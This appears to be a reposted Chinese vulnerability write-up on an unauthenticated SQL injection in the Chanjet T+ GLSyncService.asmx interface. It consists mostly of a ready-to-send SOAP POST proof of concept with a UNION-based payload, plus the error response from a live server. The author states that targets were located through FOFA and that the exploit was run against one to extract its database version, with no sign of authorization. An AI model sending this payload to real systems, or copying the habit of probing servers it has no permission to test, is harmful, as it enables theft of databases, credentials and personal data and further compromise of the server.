漏洞說明：
由于暢捷通T+的GLSyncService.asmx接口處未對(duì)用戶的輸入進(jìn)行過濾和校驗(yàn)，未經(jīng)身份驗(yàn)證的攻擊者除了可以利用 SQL 注)漏洞獲取數(shù)據(jù)庫中的信息(例如，管理員后臺(tái)密碼、站點(diǎn)的用戶個(gè)人信息)之外，甚至在高權(quán)限的情況可向服務(wù)器中寫入木馬進(jìn)一步獲取服務(wù)器系統(tǒng)權(quán)限。
漏洞類型：
數(shù)據(jù)注入
漏洞特征：
POC:
POST /tplus/GLSyncService.asmx HTTP/1.1SOAPAction: "http://www.chanjet.com/GetSourceAccountDataTable"Accept-Encoding: gzipContent-Type: text/xml; charset=utf-8<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> <soap:Body> <GetSourceAccountDataTable xmlns="http://www.chanjet.com/"> <versionType>' UNION ALL SELECT NULL,@@VERSION,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- VsIH</versionType> </GetSourceAccountDataTable> </soap:Body></soap:Envelope>
滲透過程：
通過漏洞特征在FOFA找到目標(biāo)
通過poc拿到數(shù)據(jù)庫版本信息，成功復(fù)現(xiàn)漏洞，點(diǎn)到為止
HTTP/1.1 500 Internal Server ErrorServer: nginx/1.9.9Date: Thu, 26 Jun 2025 13:46:01 GMTContent-Type: text/xml; charset=utf-8Content-Length: 1226Connection: keep-aliveX-AspNet-Version: 4.0.30319Cache-Control: private<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"><soap:Body><soap:Fault><faultcode>soap:Server</faultcode><faultstring>System.Web.Services.Protocols.SoapException: 服務(wù)器無法處理請(qǐng)求。 ---> Ufida.T.EAP.ErrorInfo.DatabaseException: 245 數(shù)據(jù)庫錯(cuò)誤, 請(qǐng)重試!在將 nvarchar 值 'Microsoft SQL Server 2008 R2 (RTM) - 10.50.1600.1 (X64) Apr 2 2010 15:48:46 Copyright (c) Microsoft Corporation Enterprise Edition (64-bit) on Windows NT 6.2 <X64> (Build 9200: ) (Hypervisor)' 轉(zhuǎn)換成數(shù)據(jù)類型 int 時(shí)失敗。 在 Ufida.T.EAP.Aop.Dynamic.LocalCallDynamicProxyImpl.NormalInvoke(MethodBase method, Object[] args, Boolean needFreeCuid) 在 Ufida.T.EAP.Aop.Dynamic.LocalCallDynamicProxyImpl.Invoke(IMessage message) 在 System.Runtime.Remoting.Proxies.RealProxy.PrivateInvoke(MessageData& msgData, Int32 type) 在 Ufida.T.Tool.Sync.Interface.ISyncServiceHelper.GetSourceAccountDataTable(String versionType) --- 內(nèi)部異常堆棧跟蹤的結(jié)尾 ---</faultstring><detail /></soap:Fault></soap:Body></soap:Envelope>
閱讀原文：原文鏈接
該文章在 2025/7/18 10:43:10 編輯過
400 186 1886
